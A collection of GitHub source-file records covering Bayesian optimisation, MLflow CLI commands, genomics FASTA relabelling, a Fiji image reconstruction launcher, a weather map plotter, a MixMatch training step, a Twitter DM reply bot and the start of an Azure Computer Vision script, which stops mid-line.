+{"seq_id":"40501681353","text":"from functools import partial\nfrom typing import Tuple, List, Callable\n\nfrom GPyOpt.methods import BayesianOptimization\n\nprint = partial(print, flush=True)\n\n\ndef optimise(\n        f: Callable, domain: List[dict], max_iter: int, exploit_iter: int,\n        initial_design_numdata_factor: int = 4,\n        exact_feval: bool = True,\n):\n    \"\"\"\n    :param f:\n        function to optimize.\n        It should take 2-dimensional numpy arrays as input and return 2-dimensional outputs (one evaluation per row).\n    :param domain:\n        list of dictionaries containing the description of the inputs variables\n        (See GPyOpt.core.task.space.Design_space class for details).\n    :param max_iter:\n    :param exploit_iter:\n    :param initial_design_numdata_factor:\n    :param exact_feval:\n    :return:\n    \"\"\"\n    bo_kwargs = {\n        'domain': domain,  # box-constraints of the problem\n        'acquisition_type': 'EI',  # Selects the Expected improvement\n        'initial_design_numdata': initial_design_numdata_factor * len(domain),  # Number of initial points\n        'exact_feval': exact_feval\n    }\n    print(f\"bo_kwargs: {bo_kwargs}\")\n\n    bo = BayesianOptimization(\n        f=f,\n        **bo_kwargs\n    )\n\n    optimisation_kwargs = {\n        'max_iter': max_iter,\n    }\n    print(f\"optimisation_kwargs: {optimisation_kwargs}\")\n    bo.run_optimization(**optimisation_kwargs)\n\n    print(f\"Optimised result: {bo.fx_opt}\")\n    print(f\"Optimised controls: {bo.x_opt}\")\n\n    # Exploit\n    bo.acquisition_type = 'LCB'\n    bo.acquisition_weight = 1e-6\n    bo.kwargs['acquisition_weight'] = 1e-6\n\n    bo.acquisition = bo._acquisition_chooser()\n    bo.evaluator = bo._evaluator_chooser()\n\n    bo.run_optimization(exploit_iter)\n\n    print(f\"Optimised result: {bo.fx_opt}\")\n    print(f\"Optimised controls: {bo.x_opt}\")\n    return bo\n\n\n__all__ = ['optimise']\n","repo_name":"twobackfromtheend/CircularStates","sub_path":"optimal_control/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12077745323","text":"import socket\n\n\ndef recv(connection: socket.socket, num_bytes: int, rise=False):\n    data = []\n    length_to_recv = num_bytes\n    while length_to_recv:\n        try:\n            data_part = connection.recv(length_to_recv)\n            if not data_part:\n                raise socket.error('connection was closed')\n            length_to_recv -= len(data_part)\n            data.append(data_part)\n        except socket.error:\n            if rise:\n                raise\n            return None\n    return b''.join(data)\n","repo_name":"hevezolly/Split-storage","sub_path":"Modules/socket_controller.py","file_name":"socket_controller.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2062896762","text":"import click\n\nfrom mlflow.environment_variables import MLFLOW_RECIPES_PROFILE\nfrom mlflow.recipes import Recipe\n\n_CLI_ARG_RECIPE_PROFILE = click.option(\n    \"--profile\",\n    \"-p\",\n    envvar=MLFLOW_RECIPES_PROFILE.name,\n    type=click.STRING,\n    default=None,\n    required=True,\n    help=(\n        \"The name of the recipe profile to use. Profiles customize the configuration of\"\n        \" one or more recipe steps, and recipe executions with different profiles often\"\n        \" produce different results.\"\n    ),\n)\n\n\n@click.group(\"recipes\")\ndef commands():\n    \"\"\"\n    Run MLflow Recipes and inspect recipe results.\n    \"\"\"\n    pass\n\n\n@commands.command(short_help=\"Run the full recipe or a particular recipe step.\")\n@click.option(\n    \"--step\",\n    \"-s\",\n    type=click.STRING,\n    default=None,\n    required=False,\n    help=\"The name of the recipe step to run.\",\n)\n@_CLI_ARG_RECIPE_PROFILE\ndef run(step, profile):\n    \"\"\"\n    Run the full recipe, or run a particular recipe step if specified, producing\n    outputs and displaying a summary of results upon completion.\n    \"\"\"\n    Recipe(profile=profile).run(step)\n\n\n@commands.command(\n    short_help=(\n        \"Remove all recipe outputs from the cache, or remove the cached outputs of\"\n        \" a particular recipe step.\"\n    )\n)\n@click.option(\n    \"--step\",\n    \"-s\",\n    type=click.STRING,\n    default=None,\n    required=False,\n    help=\"The name of the recipe step for which to remove cached outputs.\",\n)\n@_CLI_ARG_RECIPE_PROFILE\ndef clean(step, profile):\n    \"\"\"\n    Remove all recipe outputs from the cache, or remove the cached outputs of a particular\n    recipe step if specified. After cached outputs are cleaned for a particular step, the step\n    will be re-executed in its entirety the next time it is run.\n    \"\"\"\n    Recipe(profile=profile).clean(step)\n\n\n@commands.command(\n    short_help=(\n        \"Display an overview of the recipe graph or a summary of results from a particular step.\"\n    )\n)\n@click.option(\n    \"--step\",\n    \"-s\",\n    type=click.STRING,\n    default=None,\n    required=False,\n    help=\"The name of the recipe step to inspect.\",\n)\n@_CLI_ARG_RECIPE_PROFILE\ndef inspect(step, profile):\n    \"\"\"\n    Display a visual overview of the recipe graph, or display a summary of results from a\n    particular recipe step if specified. If the specified step has not been executed,\n    nothing is displayed.\n    \"\"\"\n    Recipe(profile=profile).inspect(step)\n\n\n@commands.command(short_help=(\"Get the location of an artifact output from the recipe.\"))\n@click.option(\n    \"--artifact\",\n    \"-a\",\n    type=click.STRING,\n    default=None,\n    required=True,\n    help=\"The name of the artifact to retrieve.\",\n)\n@_CLI_ARG_RECIPE_PROFILE\ndef get_artifact(profile, artifact):\n    \"\"\"\n    Get the location of an artifact output from the recipe.\n    \"\"\"\n    artifact_location = Recipe(profile=profile)._get_artifact(artifact).path()\n    click.echo(artifact_location)\n","repo_name":"mlflow/mlflow","sub_path":"mlflow/recipes/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":15878,"dataset":"github-code","pt":"22"}
+{"seq_id":"3231605004","text":"#!/usr/bin/env python3\n\nimport sys\n\n\ndef help():\n    print('''\n    Usage:\n    ------------\n    addClassifications2fasta.py -gff <path>  \\\\\n                                -fasta <path> \\\\\n                                -dfam <path> \\\\\n                                -repbase <path> > output.fasta\n\n    Description: \n    ------------\n    This is intended to be a post-processing script for PhyLTR.py output\n    which adds classification (superfamily) names to the sequence\n    headers in the file given by -fasta, e.g\n\n        Original header:\n            >LTR_retrotransposon1000\n\n        New header:\n            >LTR_retrotransposon1000_ERV1\n\n    See below for locations of the specific files from PhyLTR.py output.\n\n    Options:\n    ------------\n    -gff     <path> PhyLTR.output/GFF_output/*LTRdigestClassifiedNoFP.gff\n\n    -fasta   <path> PhyLTR.output/FASTA_output/LTRdigest_LTR_retrotransposons.fasta\n\n    -dfam    <path> PhyLTR/RepeatDatabases/Dfam/Dfam_ERV_LTR.SF\n\n    -repbase <path> PhyLTR/RepeatDatabases/Repbase/Repbase_ERV_LTR.SF\n        ''', file=sys.stderr)\n    sys.exit(0)\n\n\nclass GFF3_line:\n    \"\"\"A class to represet GFF3 lines and allow modification of the\n    values of its fields.\n\n    Attributes:\n    ------------\n    field0, ..., field8   strings containing the values of each field\n                          in a GFF3 line\n    attributes            a dictionary containing the key-value pairs\n                          in the GFF3 line 9th field\n\n    Methods:    \n    ------------\n    str()               Outputs GFF3 line\n    repr()              Outputs GFF3 line\n    refreshAttrStr()    This needs to be called if changes were made to\n                        any of the attributes. It refreshes\n    \"\"\"\n\n    def __init__(self, line):\n        \"\"\"GFF3_line is initialized to contain the fields of the GFF3\n        line provided as attributes. The attributes are kept in a\n        dictionary and a the keys are ordered in a list to preserve\n        the order of attributes upon getting the sring representation\n        of the line from the GFF3_line object.\n        \"\"\"\n        (self.seqid, \n         self.source, \n         self.type, \n         self.start, \n         self.end, \n         self.score, \n         self.strand, \n         self.phase, \n         self.attributes_str) = line.strip().split('\\t')\n        # preserve attribute order as a list of keys (attributes_order)\n        attributes_list = self.attributes_str.split(';')\n        self.attributes_order = [attr.split('=')[0] for attr in \n                                                               attributes_list]\n        # store attribute keys and their values in a dictionary\n        self.attributes = {attr.split('=')[0]:attr.split('=')[1] for attr in \n                                                               attributes_list}\n        # rename the name attribute key to Name so it conforms to the\n        # GFF3 specification, where Name is a reserved attribute key\n        if 'name' in self.attributes:\n            self.attributes['Name'] = self.attributes.pop('name')\n            self.attributes_order[self.attributes_order.index('name')] = 'Name'\n\n    def __repr__(self):\n        \"\"\"Output for overloaded functions str() and repr()\"\"\"\n        return '\\t'.join([str(self.seqid), \n                          str(self.source), \n                          str(self.type), \n                          str(self.start), \n                          str(self.end), \n                          str(self.score), \n                          str(self.strand), \n                          str(self.phase), \n                          str(self.attributes_str)])\n\n    def refreshAttrStr(self):\n        \"\"\"If the attributes dictionary or attributes_order has been \n        altered this should be called to update attributes_str.\n        \"\"\"\n        self.attributes_str = ';'.join(['='.join(\n             [attr, self.attributes[attr]]) for attr in self.attributes_order])\n\n\ndef read2dict(filePath):\n    \"\"\"Expects the path to a two column tab-delimited as input. Reads \n    the first two columns in the file given by filePath into a \n    dictionary {column1:column2} and returns the dictionary.\n    \"\"\"\n    outDict = {}\n    with open(filePath) as fl:\n        for line in fl:\n            key, val = line.strip().split()\n            outDict[key] = val\n    return outDict\n\n\n# print help information if not eanough arguments are present\nargs = sys.argv\nif (len(args) < 9\n      or '-gff' not in args\n      or '-fasta' not in args\n      or '-repbase' not in args\n      or '-dfam' not in args):\n    help()\n# read command line arguments\ngffFilePath = args[args.index('-gff') + 1]\nfastaFilePath = args[args.index('-fasta') + 1]\nrepbaseFilePath = args[args.index('-repbase') + 1]\ndfamFilePath = args[args.index('-dfam') + 1]\n# read repbase file in to a dictionary with element name keys and\n# superfamily names as values\nrepbaseDict = read2dict(repbaseFilePath)\n# read dfam file in to a dictionary with element name keys and\n# superfamily names as values\ndfamDict = read2dict(dfamFilePath)\n# read the values for the dfam and repbase homologous results from the\n# input gff into a dictionary\ngffDict = {}\nwith open(gffFilePath) as gffFile:\n    for line in gffFile:\n        if not line.startswith('#'):\n            gffLine = GFF3_line(line)\n            if gffLine.type == 'LTR_retrotransposon':\n                dfamHit = gffLine.attributes['dfamClassification']\n                repbaseHit = gffLine.attributes['repbaseClassification']\n                ID = gffLine.attributes['ID']\n                # allow dfam hits to take precedence over repbase hits\n                # if different superfamilies are found for each\n                if repbaseHit != 'None':\n                    superfamily = repbaseDict[repbaseHit]\n                if dfamHit != 'None':\n                    superfamily = dfamDict[dfamHit]\n                gffDict[ID] = superfamily\n# read fasta file, modify sequence headers, and output to stdout\nwith open(fastaFilePath) as fastaFile:\n    for line in fastaFile:\n        if line.startswith('>'):\n            oldHeader = line.strip()[1:]\n            superfamily = gffDict[oldHeader]\n            newHeader = '>' + oldHeader + '_' + superfamily\n            print(newHeader)\n        else:\n            print(line.strip())\n","repo_name":"mcsimenc/PhyLTR","sub_path":"scripts/addClassifications2fasta.py","file_name":"addClassifications2fasta.py","file_ext":"py","file_size_in_byte":6293,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"22"}
+{"seq_id":"34178174689","text":"# (c) 2021, Luca Widmer  @  ETH Zurich\n# Computer-assisted Applications in Medicine (CAiM) Group,  Prof. Orcun Goksel\n\nimport os\nimport site\nimport logging\nfrom ij import IJ\n\nwd = os.getcwd()\nwd = os.path.join(wd, \"MiNTiF_Utils\")\nsite.addsitedir(wd)\nfrom fiji_funcs import FijiUtils\n\n\"\"\"\nThis Script implements a GUI to reconstruct all images and cordinates in a MiNTiF dataset.\n\n\"\"\"\n#@ File (label=\"MiNTiF Data File\", style=\"both\", persist=true) data_file\n#@ Boolean (label=\"Reconstruct Image\", description=\"should original image and predicted labels be reconstructed\") recon_image\n#@ Boolean (label=\"Reconstruct Coordinates\", description=\"should predicted coordinates be reconstructed\") recon_coords\n#@ Boolean (label=\"Reconstruct Density Maps\", description=\"should original and predicted Density Maps be reconstructed\") recon_DM\n# Boolean (label=\"open in ImageJ (not implemented)\") open_in_imagej\n\nIJ.run(\"Console\")\nlogging.basicConfig()\nlogger = logging.getLogger('fiji')\nlogger.setLevel(logging.DEBUG)\n\nif recon_DM  and not recon_image:\n    raise UserWarning(\"you can only reconstruct density maps if image is also reconstructed\")\nif not recon_image and not recon_coords:\n    raise UserWarning(\"you must reconstruct at least the Image or the Coordinates\")\n\nwd = (os.getcwd())\ncurrpath = os.path.join(wd, \"MiNTiF_Utils\")\ncode_file = os.path.join(currpath, *['fiji_funcs','H5ToImage.py'])\n\nprint (\"Starting Reconstruction of:\\n{}\".format(str(data_file)))\n# run reconstruction script as subprocess\ncmd = \"\"\" \"{}\" \"{}\" \"{}\" \"{}\" \"{}\" \"\"\".format(code_file, str(data_file), str(recon_image), str(recon_coords), str(recon_DM))\nprint(cmd)\nFijiUtils.call_subprocess(cmd, currpath)","repo_name":"CAiM-lab/MiNTiF","sub_path":"MiNTiF/Reconstruct_Image.py","file_name":"Reconstruct_Image.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"32760883548","text":"import psycopg2\nfrom pyiem.network import Table as NetworkTable\nimport datetime\nfrom pandas.io.sql import read_sql\nfrom collections import OrderedDict\n\nPDICT = OrderedDict([('precip', 'Last Measurable Precipitation'),\n                     ('low', 'Low Temperature'),\n                     ('high', 'High Temperature')])\nSECTORS = OrderedDict([('conus', 'CONUS'),\n                       ('midwest', 'Mid West'),\n                       ('state', 'Select a State'),\n                       ('wfo', 'Select a NWS Weather Forecast Office')])\n\n\ndef get_description():\n    \"\"\" Return a dict describing how to call this plotter \"\"\"\n    d = dict()\n    d['data'] = True\n    d['cache'] = 3600\n    d['description'] = \"\"\"This plot presents the current streak of days with\n    a high or low temperature above or at/below the daily average temperature.\n    You can also plot the number of days since last measurable precipitation\n    event (trace events are counted as dry).\n    This plot is based off of NWS CLI sites.\"\"\"\n    d['arguments'] = [\n        dict(type='select', name='var', default='high',\n             label='Which parameter:', options=PDICT),\n        dict(type='date', name='sdate',\n             default=datetime.date.today().strftime(\"%Y/%m/%d\"),\n             label='Start Date:', min=\"2010/01/01\"),\n        dict(type='select', name='sector', default='conus',\n             options=SECTORS, label='Select Map Extent'),\n        dict(type='networkselect', name='wfo', network='WFO',\n             default='DMX', label='Select WFO: (used when plotting wfo)'),\n        dict(type='state', name='state',\n             default='IA', label='Select State: (used when plotting state)'),\n\n    ]\n    return d\n\n\ndef plotter(fdict):\n    \"\"\" Go \"\"\"\n    import matplotlib\n    matplotlib.use('agg')\n    from pyiem.plot import MapPlot\n    pgconn = psycopg2.connect(database='iem', host='iemdb', user='nobody')\n\n    varname = fdict.get('var', 'high')\n    sector = fdict.get('sector', 'conus')\n    state = fdict.get('state', 'IA')\n    wfo = fdict.get('wfo', 'DMX')\n    if varname not in PDICT:\n        return None\n\n    nt = NetworkTable(\"NWSCLI\")\n    today = datetime.datetime.strptime(fdict.get('sdate', '2015-01-01'),\n                                       '%Y-%m-%d')\n    yesterday = today - datetime.timedelta(days=1)\n    d180 = today - datetime.timedelta(days=180)\n\n    dbcol = 'high' if varname in ['precip', ] else varname\n    df = read_sql(\"\"\"\n     with obs as (\n      select station, valid,\n      (case when \"\"\" + dbcol + \"\"\" > \"\"\" + dbcol + \"\"\"_normal\n      then 1 else 0 end) as hit,\n      (case when precip >= 0.01 then 1 else 0 end) as precip_hit\n      from cli_data\n      where \"\"\" + dbcol + \"\"\" is not null\n      and \"\"\" + dbcol + \"\"\"_normal is not null\n      and valid > %s and valid <= %s),\n\n      totals as (\n      SELECT station,\n      max(case when hit = 0 then valid else %s end) as last_below,\n      max(case when hit = 1 then valid else %s end) as last_above,\n      max(case when precip_hit = 0 then valid else %s end) as last_dry,\n      max(case when precip_hit = 1 then valid else %s end) as last_wet,\n      count(*) as count from obs GROUP by station)\n\n      SELECT station, last_below, last_above, last_dry, last_wet\n      from totals where count > 170\n      ORDER by least(last_below, last_above) ASC\n    \"\"\", pgconn, params=(d180, today, d180, d180, d180, d180))\n\n    lats = []\n    lons = []\n    vals = []\n    colors = []\n    labels = []\n\n    for _, row in df.iterrows():\n        if row['station'] not in nt.sts:\n            continue\n        lats.append(nt.sts[row['station']]['lat'])\n        lons.append(nt.sts[row['station']]['lon'])\n        if varname == 'precip':\n            last_wet = row['last_wet']\n            last_dry = row['last_dry']\n            days = (last_dry - last_wet).days\n            if last_wet in [today, yesterday]:\n                days = 0\n        else:\n            last_above = row['last_above']\n            last_below = row['last_below']\n            days = 0 - (last_below - last_above).days\n            if last_above in [today, yesterday]:\n                days = (last_above - last_below).days\n        vals.append(days)\n        colors.append('r' if days > 0 else 'b')\n        labels.append(row[0])\n\n    title = ('Consecutive Days with %s Temp '\n             'above(+)/below(-) Average') % (varname.capitalize(),)\n    if varname == 'precip':\n        title = 'Days Since Last Measurable Precipitation'\n    m = MapPlot(sector=sector,\n                state=state,\n                cwa=(wfo if len(wfo) == 3 else wfo[1:]),\n                axisbg='tan', statecolor='#EEEEEE',\n                title=title,\n                subtitle=('based on NWS CLI Sites, map approximately '\n                          'valid for %s') % (today.strftime(\"%-d %b %Y\"), ))\n    m.plot_values(lons, lats, vals, color=colors, labels=labels,\n                  labeltextsize=(8 if sector != 'state' else 12),\n                  textsize=(12 if sector != 'state' else 16))\n\n    return m.fig, df\n","repo_name":"muthulatha/iem","sub_path":"htdocs/plotting/auto/scripts/p61.py","file_name":"p61.py","file_ext":"py","file_size_in_byte":4992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"12395929","text":"import torch\nimport numpy as np\nimport torch.nn.functional as F\nfrom semilearn.algorithms.algorithmbase import AlgorithmBase\nfrom semilearn.algorithms.utils import ce_loss, consistency_loss, SSL_Argument, str2bool, interleave\n\n\nclass MixMatch(AlgorithmBase):\n    \"\"\"\n        MixMatch algorithm (https://arxiv.org/abs/1905.02249).\n\n        Args:\n            - args (`argparse`):\n                algorithm arguments\n            - net_builder (`callable`):\n                network loading function\n            - tb_log (`TBLog`):\n                tensorboard logger\n            - logger (`logging.Logger`):\n                logger to use\n            - T (`float`):\n                Temperature for pseudo-label sharpening\n            - unsup_warm_up (`float`, *optional*, defaults to 0.4):\n                Ramp up for weights for unsupervised loss\n            - mixup_alpha (`float`, *optional*, defaults to 0.5):\n                Hyper-parameter of mixup\n            - mixup_manifold (`bool`, *optional*, defaults to `False`):\n                Whether or not to use manifold mixup\n    \"\"\"\n    def __init__(self, args, net_builder, tb_log=None, logger=None):\n        super().__init__(args, net_builder, tb_log, logger)\n        # mixmatch specificed arguments\n        self.init(T=args.T, unsup_warm_up=args.unsup_warm_up, mixup_alpha=args.mixup_alpha, mixup_manifold=args.mixup_manifold)\n\n    def init(self, T, unsup_warm_up=0.01525, mixup_alpha=0.5, mixup_manifold=False):\n        self.T = T\n        self.unsup_warm_up = unsup_warm_up\n        self.mixup_alpha = mixup_alpha\n        self.mixup_manifold = mixup_manifold\n\n    def train_step(self, x_lb, y_lb, x_ulb_w, x_ulb_s):\n        num_lb = y_lb.shape[0]\n\n        # inference and calculate sup/unsup losses\n        with self.amp_cm():\n            with torch.no_grad():\n                self.bn_controller.freeze_bn(self.model)\n                logits_x_ulb_w1 = self.model(x_ulb_w)\n                logits_x_ulb_w2 = self.model(x_ulb_s)\n                self.bn_controller.unfreeze_bn(self.model)\n                \n                # avg\n                avg_prob_x_ulb = (torch.softmax(logits_x_ulb_w1, dim=1) + torch.softmax(logits_x_ulb_w2, dim=1)) / 2\n                # avg_prob_x_ulb = (avg_prob_x_ulb / avg_prob_x_ulb.sum(dim=-1, keepdim=True))\n                # sharpening\n                sharpen_prob_x_ulb = avg_prob_x_ulb ** (1 / self.T)\n                sharpen_prob_x_ulb = (sharpen_prob_x_ulb / sharpen_prob_x_ulb.sum(dim=-1, keepdim=True)).detach()\n\n            # with torch.no_grad():\n            # Pseudo Label\n            input_labels = torch.cat([F.one_hot(y_lb, self.num_classes), sharpen_prob_x_ulb, sharpen_prob_x_ulb], dim=0)\n            # Mix up\n            if self.mixup_manifold:\n                inputs = torch.cat((self.model(x_lb, only_feat=True), self.model(x_ulb_w, only_feat=True), self.model(x_ulb_s, only_feat=True)))\n            else:\n                inputs = torch.cat([x_lb, x_ulb_w, x_ulb_s])\n            mixed_x, mixed_y, _ = self.mixup_one_target(inputs, input_labels,\n                                                        self.mixup_alpha,\n                                                        is_bias=True)\n            mixed_x = list(torch.split(mixed_x, num_lb))\n            mixed_x = interleave(mixed_x, num_lb)\n\n            logits = [self.model(mixed_x[0], only_fc=self.mixup_manifold)]\n            # calculate BN for only the first batch\n            self.bn_controller.freeze_bn(self.model)\n            for ipt in mixed_x[1:]:\n                logits.append(self.model(ipt, only_fc=self.mixup_manifold))\n            self.bn_controller.unfreeze_bn(self.model)\n\n            # put interleaved samples back\n            logits = interleave(logits, num_lb)\n\n            logits_x = logits[0]\n            logits_u = torch.cat(logits[1:], dim=0)\n\n            sup_loss = ce_loss(logits_x, mixed_y[:num_lb], use_hard_labels=False, reduction='mean')\n            unsup_loss, _ = consistency_loss(logits_u, mixed_y[num_lb:], name='mse', softmax=False)\n\n            # set ramp_up for lambda_u\n            unsup_warmup = float(np.clip(self.it / (self.unsup_warm_up * self.num_train_iter), 0.0, 1.0))\n            lambda_u = self.lambda_u * unsup_warmup\n\n            total_loss = sup_loss + lambda_u * unsup_loss\n\n        # parameter updates\n        self.parameter_update(total_loss)\n\n        tb_dict = {}\n        tb_dict['train/sup_loss'] = sup_loss.item()\n        tb_dict['train/unsup_loss'] = unsup_loss.item()\n        tb_dict['train/total_loss'] = total_loss.item()\n        return tb_dict\n\n    # TODO: move mixup to utils\n    def mixup_one_target(self, x, y, alpha=1.0, is_bias=False):\n        \"\"\"Returns mixed inputs, mixed targets, and lambda\n        \"\"\"\n        if alpha > 0:\n            lam = np.random.beta(alpha, alpha)\n        else:\n            lam = 1\n        if is_bias:\n            lam = max(lam, 1 - lam)\n\n        index = torch.randperm(x.size(0)).to(x.device)\n\n        mixed_x = lam * x + (1 - lam) * x[index]\n        mixed_y = lam * y + (1 - lam) * y[index]\n        return mixed_x, mixed_y, lam\n\n    @staticmethod\n    def get_argument():\n        return [\n            SSL_Argument('--T', float, 0.5, 'parameter for Temperature Sharpening'),\n            SSL_Argument('--unsup_warm_up', float, 1 / 64, 'ramp up ratio for unsupervised loss'),\n            SSL_Argument('--mixup_alpha', float, 0.5, 'parameter for Beta distribution of Mix Up'),\n            SSL_Argument('--mixup_manifold', str2bool, False, 'use manifold mixup (for nlp)'),\n        ]\n","repo_name":"ZahraaHM/Semi-supervised-learning","sub_path":"semilearn/algorithms/mixmatch/mixmatch.py","file_name":"mixmatch.py","file_ext":"py","file_size_in_byte":5526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"34879352949","text":"import tweepy\nfrom tweepy import auth # needed for twitter API\nimport yaml # needed for config\nimport json # needed for API stuff\n\nimport threading # needed for threading\nimport time # needed for sleep\nimport sys # needed to exit\n\nimport tkinter as tk # needed for dialog\nfrom tkinter import filedialog as fd # needed for dialog\n\nclass ReplyListener(tweepy.Stream):\n    \"\"\"\n    Class that handles tweepy events\n    \"\"\"\n    \n    def on_connect(self):\n        print(\"stream connected\")\n        return super().on_connect()\n    \n    def on_status(self, status):\n        print(status.text)\n        \n    def on_connection_error(self):\n        self.disconnect()\n        \n    #def on_data(self, raw_data):\n    #    print(str(raw_data))\n    \n    def sample(self):\n        return super().sample()\n\n    def filter(self, *, follow=None, track=None, locations=None, filter_level=None, languages=None, stall_warnings=False, threaded=False):\n        return super().filter(follow=follow, track=track, locations=locations, filter_level=filter_level, languages=languages, stall_warnings=stall_warnings, threaded=threaded)        \n    \n\nclass ReplyBot:\n    \"\"\"\n    Simple python bot to listen to and auto reply to twitter events\n    \"\"\"\n    \n    def __init__(self, apiKey, apiSecret, accessToken, accessTokenSecret):\n        \"\"\"\n        Init method\n\n        Args:\n            apiKey ([type]): The API Key to use\n            apiSecret ([type]): The API secret to use\n            accessToken ([type]): The access token to use\n            accessTokenSecret ([type]): The access token secret to use\n        \"\"\"\n                 \n        self.auth = tweepy.OAuthHandler(apiKey, apiSecret)\n        self.auth.set_access_token(accessToken, accessTokenSecret)\n\n        self.api = tweepy.API(self.auth, wait_on_rate_limit=True)\n        \n        self.apiKey = apiKey\n        self.apiSecret = apiSecret\n        self.accessToken = accessToken\n        self.accessTokenSecret = accessTokenSecret\n        self.prevMsgs = []\n\n        try:\n            self.api.verify_credentials()\n            self.id = str(self.api.verify_credentials().id)\n            self.name = self.api.verify_credentials().name\n            print(f\"Credentials loaded, running as: {self.name}\")\n        except:\n            print(\"Error, credentials not valid\")\n        \n    def startStream(self):\n        print(\"Starting stream, press Ctrl + C to exit\")\n        \n        try:\n            self.stream = ReplyListener(self.apiKey, self.apiSecret, self.accessToken, self.accessTokenSecret)\n            #self.stream = tweepy.Stream(self.apiKey, self.apiSecret, self.accessToken, self.accessTokenSecret)\n            \n            \n            #self.stream.sample()\n            self.stream.filter(follow=[self.id])\n            \n            #print(self.stream.running)\n        except KeyboardInterrupt:\n            print(\"Keyboard interrupt\")\n            self.stream.disconnect()\n            sys.exit(0)\n\n    def dmThread(self):\n        print(\"Starting DM Reader Thread, press Ctrl + C to exit\")\n\n        while True:\n            try:\n                print('Scanning...')\n                self.dmRead()\n                time.sleep(60)\n            except KeyboardInterrupt:\n                print(\"Keyboard interrupt\")\n                break\n\n\n    def dmRead(self):\n\n        messageList = self.api.get_direct_messages()\n        newIDs = []\n        repeatCount = 0\n\n        print(\"\")\n        print(f\"{str(len(messageList))} messages received since last scan:\")\n\n        for msg in messageList:\n            print('')\n            newIDs.append(msg.id)\n            #print(str(msg.message_create))\n            #self.api.delete_direct_message(msg.id)\n            time.sleep(1)\n            if msg.id not in self.prevMsgs:\n                if msg.message_create['sender_id'] == self.id : # check to see if DM is from us\n                    print(\"its me\")\n                    # Go ahead and delete the message, we don't care about our messages  \n                else:\n                    print(\"not me\")\n                    #print(str(msg.message_create))\n                    try:\n                        print(str(msg.message_create['message_data']['quick_reply_response']['metadata']))\n                        self.api.send_direct_message(msg.message_create['sender_id'], f\"Thank you for selecting option {str(msg.message_create['message_data']['quick_reply_response']['metadata'])}\")\n                        time.sleep(1)\n                    except KeyError:\n                        print(\"not a quick response, sending starting message\")\n\n                        options = [\n                            {\n                            \"label\": \"I'm good\",\n                            \"description\": \"It means you're doing good\",\n                            \"metadata\": \"1\"\n                            },\n                            {\n                            \"label\": \"Not so good\",\n                            \"description\": \"It means you're not doing good\",\n                            \"metadata\": \"2\"\n                            }\n                        ]\n                        \n                        self.api.send_direct_message(msg.message_create['sender_id'], \"Quick reply Test\", quick_reply_options=options)\n                        time.sleep(1)\n                self.api.delete_direct_message(msg.id)\n                time.sleep(1)\n            else:\n                repeatCount = repeatCount + 1\n            \n        self.prevMsgs = newIDs\n        print(f\"{str(repeatCount)} messages repeated\")\n\n\n\n            \n    def test(self):\n        #print(str(self.api.get_direct_messages()))\n        target_id = 1288710030880104448\n        \n        options = [\n            {\n              \"label\": \"I'm good\",\n              \"description\": \"It means you're doing good\",\n              \"metadata\": \"external_id_1\"\n            },\n            {\n              \"label\": \"Not so good\",\n              \"description\": \"It means you're not doing good\",\n              \"metadata\": \"external_id_2\"\n            }\n          ]\n        \n        self.api.send_direct_message(target_id, \"Quick reply Test\", quick_reply_options=options)\n            \n        \n\nif __name__ == \"__main__\":\n    \n    print(\"Welcome to ReplyBot, a simple twitter bot to monitor an account and auto reply\")\n    \n    with open(\"config.yml\", \"r\") as ymlfile:\n        CFG = yaml.safe_load(ymlfile)\n        apiKey = CFG[\"twitter\"][\"API_key\"]\n        apiSecret = CFG[\"twitter\"][\"API_secret\"]\n        accessToken = CFG[\"twitter\"][\"access_token\"]\n        accessTokenSecret = CFG[\"twitter\"][\"access_token_secret\"] \n    \n    replyBot = ReplyBot(apiKey, apiSecret, accessToken, accessTokenSecret)\n        \n    #replyBot.startStream()\n    #replyBot.test()\n    #replyBot.dmRead()\n    replyBot.dmThread()\n    \n    ","repo_name":"zeetwii/twitterTest","sub_path":"twitterTest.py","file_name":"twitterTest.py","file_ext":"py","file_size_in_byte":6775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27316864562","text":"import glob\nfrom io import BytesIO\nimport os\nfrom PIL import Image, ImageDraw\nimport time\n\nfrom azure.cognitiveservices.vision.computervision import ComputerVisionClient\nfrom azure.cognitiveservices.vision.computervision.models import TextOperationStatusCodes\nfrom msrest.authentication import CognitiveServicesCredentials\n\n'''\nThis sample crops an existing image then uses the Computer Vision API \nBatch Read FIle to extract text from the cropped image. The extracted text is\nreturned along with bounding boxes. There is an optional feature to draw a rectangle\naround the text you want to crop, then show the image.\n\nPrerequisites:\n1. Install the Computer Vision SDK:\npip install --upgrade azure-cognitiveservices-vision-computervision\n2. Create and add an Images and CroppedImages folders to your working directory. \nAdd the images you want to crop into the Images folder. Once the script runs, cropped images will\nautomatically be added to your CroppedImages folder.\n3. Make sure your images are either JPG or PNG. Change the file extension in the code if needed.\n4. Add your Azure Computer Vision key and endpoint to your environment variables with the names:\nCOMPUTER_VISION_SUBSCRIPTION_KEY and COMPUTER_VISION_ENDPOINT.\n\nComputer Vision SDK: https://docs.microsoft.com/en-us/python/api/azure-cognitiveservices-vision-computervision/azure.cognitiveservices.vision.computervision?view=azure-python\nComputer Vision API: https://westus.dev.cognitive.microsoft.com/docs/services/5cd27ec07268f6c679a3e641/operations/56f91f2e778daf14a499f21b\n'''\n\n'''\nAuthenticate Computer Vision client\n'''\nkey = os.environ['COMPUTER_VISION_SUBSCRIPTION_KEY']\nendpoint = os.environ['COMPUTER_VISION_ENDPOINT']\n\nclient = ComputerVisionClient(endpoint=endpoint, credentials=CognitiveServicesCredentials(key))\n\n'''\nLoad and crop images\n'''\nimages_list = []\ncropped_images_path = []\nworking_directory = 